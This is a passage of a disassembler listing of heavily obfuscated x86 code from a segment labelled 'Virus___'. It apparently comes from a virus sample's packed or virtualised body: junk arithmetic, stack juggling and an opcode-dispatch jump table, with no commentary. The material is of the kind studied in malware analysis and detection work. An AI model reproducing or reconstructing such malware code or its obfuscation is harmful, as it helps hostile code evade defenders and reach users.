		add	[esp-38h+arg_3A+2], ecx
		jmp	loc_54E0FD
; ---------------------------------------------------------------------------


loc_5495F2:				; CODE XREF: sub_545A2B+8C5Cj
		add	ah, 44h
		add	ch, ah
		jmp	loc_544B8D
; ---------------------------------------------------------------------------


loc_5495FC:				; CODE XREF: sub_545A2B-2280j
		sub	esi, ebp
		pop	ebp
		add	esi, edx
		jmp	loc_546CC0
; ---------------------------------------------------------------------------


loc_549606:				; CODE XREF: sub_545A2B+98F1j
		sub	ebx, esi
		pop	esi
		sub	ebx, 0FFFFFFFFh
		jmp	loc_54A5A6
; ---------------------------------------------------------------------------


loc_549611:				; CODE XREF: sub_545A2B+6379j
		pop	ecx
		jmp	loc_54CE6C
; ---------------------------------------------------------------------------


loc_549617:				; DATA XREF: Virus___:00542E48o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp-20h+arg_1A+2], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_549626:				; CODE XREF: sub_545A2B-19EFj
		push	eax
		mov	eax, 0D0DDAA69h
		sub	ebx, eax
		pop	eax
		sub	eax, 44713CADh
		add	eax, ebx
		add	eax, 44713CADh
		mov	ebx, [esp-2Ah+arg_26]
		add	esp, 4
		add	eax, 6EF97046h
		add	eax, ebx
		push	ebx
		jmp	loc_54DBD1
; ---------------------------------------------------------------------------


loc_549651:				; CODE XREF: sub_545A2B+594Bj
		or	ebx, 66E54A29h
		jmp	loc_54A561
; ---------------------------------------------------------------------------


loc_54965C:				; CODE XREF: sub_545A2B+4AB5j
		mov	edx, 4
		jmp	loc_5490FE
; ---------------------------------------------------------------------------


loc_549666:				; CODE XREF: sub_545A2B+7D54j
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	69DCh
		mov	[esp-26h+arg_22], edx
		mov	edx, 2
		add	ebp, edx
		mov	edx, [esp-26h+arg_22]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54AAB2
; ---------------------------------------------------------------------------


loc_54968F:				; CODE XREF: sub_545A2B+8922j
		add	ebp, edi
		jmp	loc_54A579
; ---------------------------------------------------------------------------


loc_549696:				; CODE XREF: sub_5441BD-1E2j
		pop	ebp
		jmp	loc_549336
; ---------------------------------------------------------------------------


loc_54969C:				; CODE XREF: sub_545A2B+5534j
		mov	edx, 22B460A4h
		xor	edx, ebx
		mov	ebx, [esp-26h+arg_22]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp-2Ah+arg_26]
		add	esp, 4
		or	eax, eax
		jz	loc_54B253
		push	ebx
		push	1Ch
		pop	ebx
		sub	ebx, 2A0077A9h
		jmp	loc_545BD9
; ---------------------------------------------------------------------------


loc_5496CB:				; CODE XREF: sub_545A2B+3F23j
		sub	eax, ebp
		pop	ebp
		sub	eax, edi
		push	edx
		mov	edx, 1BEC421Ah
		not	edx
		not	edx
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		sub	edx, 0CC5843CBh
		add	eax, edx
		pop	edx
		push	[esp-2Eh+arg_2A]
		jmp	loc_54987C
; ---------------------------------------------------------------------------


loc_5496F1:				; CODE XREF: sub_545A2B+4846j
		xor	bh, ah
		mov	ax, word ptr [esp-2Ah+arg_26]
		add	esp, 2
		jmp	loc_54BE7F
; ---------------------------------------------------------------------------


loc_5496FF:				; CODE XREF: Virus___:0054D364j
		mov	eax, esp
		jmp	loc_54A71B
; ---------------------------------------------------------------------------


loc_549706:				; CODE XREF: sub_54C9E5+3j
		mov	[esp-2Eh+arg_2A], ecx
		push	1409h
		mov	[esp-2Ah+arg_26], esp
		jmp	loc_54E657
; ---------------------------------------------------------------------------


loc_549716:				; CODE XREF: sub_545A2B+6E8Fj
		mov	edx, 281747A9h
		and	edx, 4BF37894h
		jmp	loc_546159
; ---------------------------------------------------------------------------


loc_549726:				; DATA XREF: Virus___:00542D4Co
		push	[esp-2Ah+arg_26]
		pop	edx
		sub	esp, 4
		mov	[esp-26h+arg_22], edi
		mov	edi, esp
		push	eax
		push	edi
		mov	edi, 63AE7C57h
		jmp	loc_546C96
; ---------------------------------------------------------------------------


loc_54973E:				; CODE XREF: sub_545A2B+2D25j
		shr	ecx, 6
		push	edi
		mov	edi, 77304BB3h
		and	edi, 2FA90370h
		add	edi, 8820E78h
		xor	edi, 2A453429h
		dec	edi
		sub	edi, 6F612DBh
		jmp	loc_54DF46
; ---------------------------------------------------------------------------


loc_549765:				; CODE XREF: sub_545A2B+2C51j
		add	ebx, ebp
		jmp	loc_548CC6
; ---------------------------------------------------------------------------


loc_54976C:				; CODE XREF: sub_545A2B+41F2j
		mov	[esp-2Ah+arg_26], ebx
		mov	ebx, 4A357586h
		neg	ebx
		dec	ebx
		and	ebx, 262710D0h
		jmp	loc_54C043
; ---------------------------------------------------------------------------


loc_549782:				; CODE XREF: sub_545A2B+597Aj
		xor	[esp-2Ah+arg_26], eax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54978B:				; CODE XREF: sub_545A2B+4C03j
		pop	esp
		idiv	ecx
		push	767Dh
		mov	[esp-26h+arg_22], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp-22h+arg_1E], esi
		push	ebx
		jmp	loc_54C116
; ---------------------------------------------------------------------------


loc_5497AD:				; CODE XREF: sub_545A2B+7648j
		mov	[esp-1Eh+arg_1A], esi
		push	[esp-1Eh+arg_1E]
		mov	esi, [esp-1Ah+arg_16]
		add	esp, 4
		pop	[esp-1Eh+arg_1A]
		mov	esp, [esp-22h+arg_1E]
		sub	esp, 4
		jmp	loc_5453A3
; ---------------------------------------------------------------------------


loc_5497CB:				; CODE XREF: sub_545A2B+26D2j
		mov	[esp-34h+arg_2E+2], ecx
		mov	ch, 9
		add	bl, 15h
		jmp	loc_545ACD
; ---------------------------------------------------------------------------


loc_5497D8:				; CODE XREF: sub_545A2B-AEEj
		mov	eax, 4D1F25C3h
		shr	eax, 4
		sub	esp, 4
		mov	[esp-14h+arg_E+2], edi
		push	ebp
		mov	ebp, 18920D85h
		add	ebp, 0B2450BFh
		xor	ebp, 626F334Fh
		or	ebp, 2ED9524Bh
		shl	ebp, 3
		shl	ebp, 3
		jmp	loc_54887D
; ---------------------------------------------------------------------------


loc_549809:				; CODE XREF: sub_545A2B+840j
		and	ebx, eax
		pop	eax
		jmp	loc_547351
; ---------------------------------------------------------------------------


loc_549811:				; CODE XREF: sub_545A2B-11E7j
		shl	ah, 1
		jmp	sub_54CF1D
; ---------------------------------------------------------------------------


loc_549818:				; CODE XREF: sub_545A2B+445Cj
		mov	edx, esp
		jmp	loc_54B37B
; ---------------------------------------------------------------------------


loc_54981F:				; DATA XREF: Virus___:00542EACo
		lodsb
		xor	al, bl
		push	5EFEh
		mov	[esp+0Eh+var_10+2], ecx
		mov	ecx, esp
		push	ebp
		push	edi
		mov	edi, 7BE31EA6h
		mov	ebp, edi
		pop	edi
		dec	ebp
		jmp	loc_54690B
; ---------------------------------------------------------------------------


loc_54983C:				; CODE XREF: sub_545A2B+5F51j
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		jmp	loc_54D6DB
; ---------------------------------------------------------------------------


loc_54984A:				; CODE XREF: sub_545A2B+9948j
		mov	bx, word ptr [esp+0Eh+var_10+2]
		add	esp, 2
		sub	bl, 0EDh
		push	ecx
		mov	cl, 0A5h
		jmp	loc_54563D
; ---------------------------------------------------------------------------


loc_54985F:				; CODE XREF: sub_545A2B+A95j
		mov	cl, dh
		pop	edx
		pop	ebx
		jmp	loc_54CC68
; ---------------------------------------------------------------------------


loc_549868:				; CODE XREF: sub_545A2B+61E4j
		pop	ecx
		neg	eax
		dec	eax
		not	eax
		sub	eax, 2EC06C05h
		xor	ebp, eax
		pop	eax
		dec	ebp
		jmp	loc_549946
; ---------------------------------------------------------------------------


loc_54987C:				; CODE XREF: sub_545A2B+3CC1j
		pop	edi
		jmp	loc_548BB4
; ---------------------------------------------------------------------------


loc_549882:				; CODE XREF: sub_545A2B+949Ej
		mov	ecx, esp
		push	ebp
		mov	ebp, 61A16BF3h
		or	ebp, 1BAA7672h
		or	ebp, 57C121B7h
		jmp	loc_549415
; ---------------------------------------------------------------------------


loc_54989B:				; CODE XREF: sub_545A2B+152Aj
		or	eax, 533F03AFh
		and	eax, 7BA92B57h
		xor	eax, 53290B13h
		jmp	loc_547E44
; ---------------------------------------------------------------------------


loc_5498AF:				; CODE XREF: sub_545A2B+224Ej
		pop	eax
		push	ecx
		push	[esp-48h+arg_46+2]
		jmp	loc_5480BC
; ---------------------------------------------------------------------------


loc_5498BA:				; CODE XREF: sub_545A2B+978Aj
		push	[esp-44h+arg_3E+2]
		pop	eax
		add	esp, 4
		push	359Ch
		mov	[esp-44h+arg_3E+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	4586h
		mov	[esp-40h+arg_3A+2], esi
		push	[esp-40h+arg_3E+2]
		push	[esp-3Ch+arg_36+2]
		push	[esp-38h+arg_32+2]
		pop	esi
		add	esp, 4
		add	esp, 4
		pop	[esp-40h+arg_3A+2]
		pop	esp
		jmp	loc_545907
; ---------------------------------------------------------------------------


loc_549902:				; CODE XREF: sub_545A2B-129Aj
		push	edx
		jmp	loc_54B3AA
; ---------------------------------------------------------------------------


loc_549908:				; CODE XREF: sub_545A2B+57C2j
		pop	edx
		add	edi, 1
		push	ecx
		mov	ecx, 1BF1D109h
		sub	edi, 18413435h
		sub	edi, ecx
		add	edi, 18413435h
		mov	ecx, [esp-3Ah+arg_36]
		add	esp, 4
		mov	esi, edi
		pop	edi
		jmp	loc_54A220
; ---------------------------------------------------------------------------


loc_549931:				; CODE XREF: sub_545A2B+776Bj
		mov	ebx, 6D7612B3h
		add	edi, ebx
		mov	ebx, [esp-42h+arg_3E]
		add	esp, 4
		jmp	loc_545BFD
; ---------------------------------------------------------------------------


loc_549946:				; CODE XREF: sub_545A2B+3E4Cj
		neg	ebp
		add	ebp, 81D68A12h
		jmp	loc_5496CB
; ---------------------------------------------------------------------------


loc_549953:				; CODE XREF: sub_545A2B+8A8j
		add	ah, 3Fh
		push	ebx
		jmp	loc_5484A0
; ---------------------------------------------------------------------------


loc_54995C:				; CODE XREF: Virus___:00544FE1j
		mov	edx, 4
		add	ecx, 1F356C06h
		add	ecx, edx
		sub	ecx, 1F356C06h
		pop	edx
		jmp	loc_54A8F8
; ---------------------------------------------------------------------------


loc_549975:				; CODE XREF: sub_545A2B+34E8j
		push	4DA5h
		jmp	loc_54BD73
; ---------------------------------------------------------------------------


loc_54997F:				; CODE XREF: sub_54E186+6j
		add	edx, ebp
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_545516
; ---------------------------------------------------------------------------


loc_54998D:				; CODE XREF: sub_545A2B+7B0Dj
		sub	eax, 1CB035BFh
		mov	edi, [esp-2Eh+arg_2A]
		jmp	loc_546377
; ---------------------------------------------------------------------------


loc_54999A:				; CODE XREF: sub_545A2B-FBBj
		mov	eax, 3BA21C90h
		or	ebp, eax
		pop	eax
		dec	ebp
		push	425Bh
		mov	[esp-58h+arg_54], ebp
		not	[esp-58h+arg_54]
		pop	ebp
		xor	ebp, 0A589C99Ch
		sub	ecx, ebp
		jmp	loc_54C0C4
; ---------------------------------------------------------------------------


loc_5499BC:				; CODE XREF: sub_545A2B+8D99j
		sub	esp, 4
		mov	[esp-58h+arg_54], edx
		push	ebx
		mov	ebx, 27B6F4Bh
		jmp	loc_54BDBE
; ---------------------------------------------------------------------------


loc_5499D0:				; CODE XREF: sub_545A2B+49E7j
		xor	eax, ecx
		jmp	loc_548179
; ---------------------------------------------------------------------------


loc_5499D7:				; CODE XREF: sub_545A2B-28ECj
		pop	ebx
		add	esp, 4
		push	ebx
		mov	bl, 43h
		or	bl, 0AEh
		push	edx
		mov	dl, 1Ah
		jmp	loc_54A596
; ---------------------------------------------------------------------------


loc_5499EC:				; CODE XREF: sub_545A2B+73BCj
		push	[esp-2+arg_0+2]
		jmp	loc_54578F
; ---------------------------------------------------------------------------


loc_5499F5:				; CODE XREF: sub_545A2B+8031j
		xor	edi, ecx
		pop	ecx
		jmp	loc_5460BC
; ---------------------------------------------------------------------------


loc_5499FD:				; CODE XREF: sub_545A2B+422Ej
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		push	dword ptr [esp+0]
		pop	edi
		jmp	loc_544BE9
; ---------------------------------------------------------------------------


loc_549A10:				; CODE XREF: sub_545A2B+5B50j
		add	ebx, edx
		sub	ebx, 8F62054h
		mov	[ebx], al
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_549A28:				; CODE XREF: sub_545A2B+7C44j
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_549D78
; ---------------------------------------------------------------------------


loc_549A3E:				; CODE XREF: sub_545A2B+657Bj
		mov	eax, [esp+0]
		jmp	loc_54ED64
; ---------------------------------------------------------------------------


loc_549A46:				; CODE XREF: sub_545A2B+1557j
		pop	ecx
		add	edx, edi
		add	edx, 2A273A8Dh
		add	edx, 4E2F3589h
		mov	[edx], eax
		mov	edx, [esp-58h+arg_54]
		add	esp, 4
		push	[esp-5Ch+arg_58]
		pop	eax
		sub	esp, 4
		mov	[esp-58h+arg_54], ecx
		push	esp
		jmp	loc_547B1E
; ---------------------------------------------------------------------------


loc_549A6D:				; CODE XREF: sub_545A2B+6AEj
		sub	eax, edx
		pop	edx
		push	4666h
		jmp	loc_5447DA
; ---------------------------------------------------------------------------


loc_549A7A:				; CODE XREF: sub_545A2B+178Ej
		pop	ebx
		xor	edi, [esp-50h+arg_4C]
		xor	[esp-50h+arg_4C], edi
		xor	edi, [esp-50h+arg_4C]
		jmp	loc_54D05D
; ---------------------------------------------------------------------------


loc_549A89:				; CODE XREF: sub_545A2B+70F3j
		mov	edi, 181312C0h
		mov	edx, 181312C4h
		sub	edx, edi
		mov	edi, [esp-50h+arg_4C]
		add	esp, 4
		jmp	loc_54C333
; ---------------------------------------------------------------------------


loc_549AA0:				; CODE XREF: sub_545A2B+518Fj
		sub	edx, 757F823Eh
		inc	edx
		jmp	loc_54D86A
; ---------------------------------------------------------------------------


loc_549AAC:				; CODE XREF: sub_545A2B+8AFBj
		add	eax, 68A06A88h
		shl	eax, 1
		jmp	loc_54B019
; ---------------------------------------------------------------------------


loc_549AB8:				; CODE XREF: sub_545A2B-3CEj
		sub	bl, 0A6h
		pop	eax
		push	2306h
		mov	[esp-18h+arg_12+2], ecx
		jmp	loc_54E22B
; ---------------------------------------------------------------------------


loc_549AC9:				; CODE XREF: sub_545A2B+14B1j
		push	ebx
		push	[esp-0Ah+arg_A]
		jmp	loc_5451A3
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6+arg_0+2]
		jmp	loc_545289
; ---------------------------------------------------------------------------


loc_549ADC:				; CODE XREF: sub_545A2B+5B57j
		add	edx, 4
		jmp	loc_54D938
; ---------------------------------------------------------------------------


loc_549AE7:				; CODE XREF: sub_545A2B+5310j
		push	bx
		mov	bh, 0Ah
		jmp	loc_5490F5
; ---------------------------------------------------------------------------


loc_549AF0:				; CODE XREF: sub_545A2B+282j
		add	edx, 58ED7464h
		jmp	loc_545787
; ---------------------------------------------------------------------------


loc_549AFB:				; CODE XREF: sub_545A2B+4DEEj
		mov	bh, ch
		pop	ecx
		jmp	loc_54539D
; ---------------------------------------------------------------------------


loc_549B03:				; CODE XREF: sub_545A2B+7E76j
		push	[esp-14h+arg_E+2]
		pop	ebx
		add	esp, 4
		jmp	loc_54DEEC
; ---------------------------------------------------------------------------


loc_549B0F:				; CODE XREF: sub_545A2B+8643j
		add	edx, eax
		sub	edx, 0D1C7252h
		mov	eax, [esp-18h+arg_12+2]
		jmp	loc_54EEC8
; ---------------------------------------------------------------------------


loc_549B1F:				; CODE XREF: sub_545A2B+388j
		add	ebx, eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-1Ah+arg_16]
		pop	esp
		mov	[esp-1Eh+arg_1A], edi
		mov	edi, 22B93B61h
		not	edi
		push	eax
		mov	eax, 5E633A9Bh
		dec	eax
		neg	eax
		jmp	loc_548EEC
; ---------------------------------------------------------------------------


loc_549B49:				; CODE XREF: sub_545A2B+6C93j
		push	small 1663h
		mov	word ptr [esp-18h+arg_12+2], ax
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_549B56:				; CODE XREF: sub_54D650-9D3Cj
		mov	esp, [esp-18h+arg_12+2]
		and	byte ptr [esp-18h+arg_12+2], al
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_549B62:				; CODE XREF: sub_545A2B+5174j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-14h+arg_E+2]
		pop	esp
		add	esi, 4
		xor	esi, [esp-18h+arg_12+2]
		xor	[esp-18h+arg_12+2], esi
		jmp	loc_544A46
; ---------------------------------------------------------------------------


loc_549B82:				; CODE XREF: sub_545A2B+8A67j
		pop	esi
		push	ecx
		mov	ecx, 34217472h
		jmp	loc_54374F
; ---------------------------------------------------------------------------


loc_549B8E:				; CODE XREF: sub_545A2B+1DA8j
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_54DDF6
; ---------------------------------------------------------------------------


loc_549B9A:				; CODE XREF: sub_545A2B+46C2j
		sub	ebp, 70F62D53h
		push	edx
		mov	edx, 9D4595Dh
		neg	edx
		xor	edx, 2C111491h
		jmp	loc_54E8D5
; ---------------------------------------------------------------------------


loc_549BB3:				; CODE XREF: sub_545A2B+64F8j
		not	ebp
		sub	ebp, 8B76C7BFh
		sub	edi, ebp
		pop	ebp
		dec	edi
		add	edi, 9F53BE55h
		add	esi, 7CEF4663h
		jmp	loc_54ECE9
; ---------------------------------------------------------------------------


loc_549BD0:				; CODE XREF: sub_545A2B+2C2Cj
		push	ebp
		mov	ebp, 6ACC5F9Dh
		sub	ebp, 32033CF6h
		jmp	loc_544A6E
; ---------------------------------------------------------------------------


loc_549BE1:				; CODE XREF: sub_545A2B+462Dj
		push	3A4Dh
		mov	[esp+0Eh+var_10+2], esi
		push	ebx
		push	edi
		push	3F4E3B74h
		jmp	loc_5495AB
; ---------------------------------------------------------------------------


loc_549BF5:				; CODE XREF: sub_545A2B+80FDj
		pop	ecx
		add	esp, 4
		jmp	loc_54E264
; ---------------------------------------------------------------------------


loc_549BFE:				; DATA XREF: Virus___:00542CF0o
		push	0
		jmp	loc_54BA9A
; ---------------------------------------------------------------------------


loc_549C08:				; CODE XREF: sub_545A2B+6DC1j
		xor	edx, 18646F1Fh
		jmp	sub_54E80B
; ---------------------------------------------------------------------------


loc_549C13:				; CODE XREF: sub_545A2B+11DDj
		push	eax
		push	esi
		mov	esi, 35CD0117h
		sub	esp, 4
		jmp	loc_54976C
; ---------------------------------------------------------------------------


loc_549C22:				; CODE XREF: sub_545A2B+37CDj
		add	[esp-3Ch+arg_36+2], 4
		push	[esp-3Ch+arg_36+2]
		mov	esi, [esp-38h+arg_32+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_544075
; ---------------------------------------------------------------------------


loc_549C40:				; CODE XREF: sub_545A2B+5755j
		xor	esi, 40006DE5h
		add	esi, 0C4C47B5Ch
		mov	edx, esi
		pop	esi
		xor	eax, edx
		push	[esp-44h+arg_3E+2]
		pop	edx
		push	edi
		sub	esp, 4
		jmp	loc_5499FD
; ---------------------------------------------------------------------------


loc_549C5E:				; CODE XREF: sub_545A2B-70Fj
		push	eax
		push	ebx
		push	eax
		jmp	loc_5483BB
; ---------------------------------------------------------------------------


loc_549C66:				; CODE XREF: sub_545A2B-2A17j
		pop	ebp
		jmp	loc_545152
; ---------------------------------------------------------------------------


loc_549C6C:				; CODE XREF: sub_545A2B+5772j
		mov	ecx, ebx
		pop	ebx
		xor	ebp, ecx
		jmp	loc_545671
; ---------------------------------------------------------------------------


loc_549C76:				; CODE XREF: sub_54D92A+4DCj
		mov	eax, 0FB4C93CDh
		add	ebp, eax
		pop	eax
		add	ebx, 6C251870h
		add	ebx, ebp
		sub	ebx, 6C251870h
		pop	ebp
		push	ecx
		mov	ecx, 4
		jmp	loc_546EC5
; ---------------------------------------------------------------------------


loc_549C98:				; CODE XREF: sub_545A2B+515j
		pop	ecx
		shl	esi, 6
		sub	esi, 3B5B443Ch
		mov	edx, esi
		pop	esi
		add	[esp-22h+arg_22], edx
		mov	edx, [esp-22h+arg_1E]
		jmp	loc_54D9F4
; ---------------------------------------------------------------------------


loc_549CB1:				; CODE XREF: sub_545A2B+605Dj
		push	3186h
		push	esp
		pop	[esp-1Ah+arg_16]
		add	[esp-1Eh+arg_1A], 4
		mov	esi, [esp-1Eh+arg_1A]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_54DE84
; ---------------------------------------------------------------------------


loc_549CD5:				; CODE XREF: sub_545A2B+6A3Dj
		mov	ebp, 7EC761EBh
		jmp	loc_54C954
; ---------------------------------------------------------------------------


loc_549CDF:				; CODE XREF: sub_545A2B+4C43j
		pop	esp
		mov	[esp-1Eh+arg_1A], edx
		jmp	loc_545A00
; ---------------------------------------------------------------------------


loc_549CE8:				; DATA XREF: Virus___:00542F1Co
		mov	ax, word ptr [esp-1Eh+arg_1A]
		sub	esp, 4
		mov	[esp-1Ah+arg_16], esi
		push	esp
		mov	esi, [esp-16h+arg_12]
		add	esp, 4
		push	6AF7h
		jmp	loc_54DAA9
; ---------------------------------------------------------------------------


loc_549D06:				; CODE XREF: sub_545A2B+563Bj
		add	ebx, 3F9F0F1Dh
		jmp	loc_54D4D0
; ---------------------------------------------------------------------------


loc_549D11:				; CODE XREF: sub_545A2B+3975j
		mov	eax, 23C2798Ah
		not	eax
		jmp	loc_548A87
; ---------------------------------------------------------------------------


loc_549D1D:				; CODE XREF: sub_545A2B+4D8Fj
		push	esi
		mov	esi, esp
		push	5543h
		jmp	loc_54DCEA
; ---------------------------------------------------------------------------


loc_549D2A:				; CODE XREF: sub_54331B+1E7Bj
		push	esp
		pop	eax
		push	edx
		mov	edx, 13C72B47h
		dec	edx
		xor	edx, 13C72B42h
		jmp	loc_54C05F
; ---------------------------------------------------------------------------


loc_549D3E:				; CODE XREF: sub_545A2B+AE4j
		push	1301h
		mov	[esp-20h+arg_1A+2], eax
		mov	al, 11h
		mov	bl, 15h
		xor	bl, al
		pop	eax
		shl	bl, 3
		and	bl, 0E3h
		jmp	loc_54A05D
; ---------------------------------------------------------------------------


loc_549D58:				; CODE XREF: sub_545A2B+25AEj
		pop	[esp-14h+arg_E+2]
		pop	esp
		mov	[esp-1Ch+arg_16+2], ebp
		push	edx
		mov	edx, 1C50B31h
		mov	ebp, 0FE3AF4D3h
		add	ebp, edx
		pop	edx
		sub	ebx, 7FB40DBCh
		jmp	loc_5494D3
; ---------------------------------------------------------------------------


loc_549D78:				; CODE XREF: sub_545A2B+400Ej
		push	[esp-2+arg_0+2]
		pop	edx
		pop	dword ptr [esp+0]
		mov	esp, [esp-6+arg_0+2]
		push	ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		jmp	sub_54D3EB
; ---------------------------------------------------------------------------


loc_549D9A:				; CODE XREF: sub_545A2B+44F4j
		xor	ebp, 28C160C9h
		sub	ebp, 22487513h
		add	ebp, 825249EFh
		add	esi, ebp
		pop	ebp
		pop	ebp
		add	esi, 4
		jmp	loc_547311
; ---------------------------------------------------------------------------


loc_549DBB:				; CODE XREF: sub_545A2B+6E08j
		push	617B3912h
		pop	edi
		jmp	loc_54BF80
; ---------------------------------------------------------------------------


loc_549DC6:				; CODE XREF: sub_545A2B+72A6j
		mov	[esp-0Ah+arg_4+2], ebp
		jmp	loc_54BE0A
; ---------------------------------------------------------------------------


loc_549DCE:				; CODE XREF: sub_545A2B+7E03j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-0Ah+arg_4+2]
		mov	esp, [esp-0Ah+arg_4+2]
		mov	[esp-0Ah+arg_4+2], eax
		mov	eax, 4
		sub	esi, eax
		pop	eax
		xchg	esi, [esp-0Eh+arg_A]
		mov	esp, [esp-0Eh+arg_A]
		push	22D4h
		push	esp
		pop	[esp-6+arg_0+2]
		add	[esp-0Ah+arg_4+2], 4
		pop	[esp-0Ah+arg_4+2]
		add	[esp-0Eh+arg_A], 4
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_549E0F:				; CODE XREF: sub_545A2B-17B7j
		add	eax, 9DFB7D74h
		add	edx, eax
		pop	eax
		mov	ecx, edx
		pop	edx
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xor	ebp, [esp-2Eh+arg_2A]
		xor	[esp-2Eh+arg_2A], ebp
		xor	ebp, [esp-2Eh+arg_2A]
		pop	esp
		add	esp, 4
		jmp	loc_54AB83
; ---------------------------------------------------------------------------


loc_549E35:				; CODE XREF: sub_545A2B-1FBFj
		pop	ecx
		add	edx, edi
		pop	edi
		jmp	loc_546A82
; ---------------------------------------------------------------------------


loc_549E3E:				; CODE XREF: sub_5437F6+8j
		sub	bh, 0A9h
		mov	ah, bh
		pop	ebx
		jmp	loc_545989
; ---------------------------------------------------------------------------


loc_549E49:				; CODE XREF: sub_545A2B-23D6j
		mov	eax, [esp-22h+arg_1E]
		add	esp, 4
		add	eax, 4
		jmp	loc_5476E2
; ---------------------------------------------------------------------------


loc_549E59:				; DATA XREF: Virus___:00542D3Co
		push	edx
		mov	edx, 12D24BABh
		jmp	loc_54A376
; ---------------------------------------------------------------------------


loc_549E64:				; CODE XREF: sub_545A2B+472Cj
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_5489D0
; ---------------------------------------------------------------------------


loc_549E6D:				; CODE XREF: sub_545A2B+3A46j
		add	ebp, 4
		xchg	ebp, [esp-16h+arg_12]
		mov	esp, [esp-16h+arg_12]
		push	ebp
		jmp	loc_546A0D
; ---------------------------------------------------------------------------


loc_549E7F:				; CODE XREF: sub_545A2B+2017j
		push	1886h
		mov	[esp-26h+arg_22], edx
		jmp	loc_549818
; ---------------------------------------------------------------------------


loc_549E8C:				; CODE XREF: sub_545A2B+73j
		pop	edi
		jmp	loc_547D27
; ---------------------------------------------------------------------------


loc_549E92:				; DATA XREF: Virus___:00542EECo
		push	[esp-4+arg_0]
		mov	eax, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		jmp	loc_5448AC
; ---------------------------------------------------------------------------


loc_549EAC:				; CODE XREF: sub_545A2B-1D93j
		xor	[esp-38h+arg_32+2], ebx
		mov	edx, [esp-38h+arg_32+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_54AE70
; ---------------------------------------------------------------------------


loc_549EC3:				; CODE XREF: sub_545A2B+57E1j
		pop	eax
		neg	dh
		push	eax
		mov	al, dh
		mov	cl, al
		pop	eax
		mov	edx, [esp-38h+arg_32+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-34h+arg_2E+2]
		mov	esp, [esp-34h+arg_2E+2]
		sub	cl, 45h
		neg	cl
		neg	cl
		xor	cl, 17h
		jmp	loc_54B111
; ---------------------------------------------------------------------------


loc_549EF3:				; CODE XREF: sub_545A2B+4855j
		pop	eax
		xchg	bh, cl
		jmp	loc_547ECC
; ---------------------------------------------------------------------------


loc_549EFB:				; CODE XREF: sub_545A2B-87j
		or	dl, al
		jmp	loc_54EBC1
; ---------------------------------------------------------------------------


loc_549F02:				; CODE XREF: sub_5452D5+700j
		pop	ebp
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_549F08:				; CODE XREF: sub_545A2B+91FEj
		push	edi
		mov	edi, 14EC6DAFh
		sub	esi, edi
		pop	edi
		add	esi, ebp
		push	ebp
		mov	ebp, 81702A8h
		sub	ebp, 6BF30A8Eh
		jmp	loc_549D9A
; ---------------------------------------------------------------------------


loc_549F24:				; CODE XREF: sub_545A2B-FF5j
		sub	bl, 7Bh
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------


loc_549F2F:				; DATA XREF: Virus___:00542C84o
		mov	ax, word ptr [esp-78h+arg_74]
		jmp	sub_54E10B
; ---------------------------------------------------------------------------


loc_549F38:				; CODE XREF: sub_543D76+8EDEj
		add	esi, eax
		jmp	loc_546086
; ---------------------------------------------------------------------------


loc_549F3F:				; CODE XREF: sub_545A2B+24D8j
		mov	ebx, [esp-34h+arg_2E+2]
		add	esp, 4
		xor	ecx, [esp-38h+arg_32+2]
		xor	[esp-38h+arg_32+2], ecx
		xor	ecx, [esp-38h+arg_32+2]
		mov	esp, [esp-38h+arg_32+2]
		movsx	cx, al
		push	36C3h
		mov	[esp-34h+arg_2E+2], ecx
		push	edx
		jmp	loc_5471BE
; ---------------------------------------------------------------------------


loc_549F63:				; CODE XREF: sub_545A2B+2EA4j
		sub	esp, 4
		mov	[esp-48h+arg_42+2], edi
		jmp	loc_5488D4
; ---------------------------------------------------------------------------


loc_549F71:				; CODE XREF: sub_545A2B+2029j
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp-58h+arg_54]
		pop	esp
		or	eax, eax
		jz	loc_549FCF
		push	dword ptr [edi+1Ch]
		push	448Fh
		mov	[esp-54h+arg_50], esi
		mov	esi, 63D26D5Fh
		add	[esp-54h+arg_54], esi
		pop	esi
		jmp	loc_5476BF
; ---------------------------------------------------------------------------


loc_549F9D:				; CODE XREF: sub_545A2B+AEDj
		xor	esi, [esp-2Ch+arg_26+2]
		xor	[esp-2Ch+arg_26+2], esi
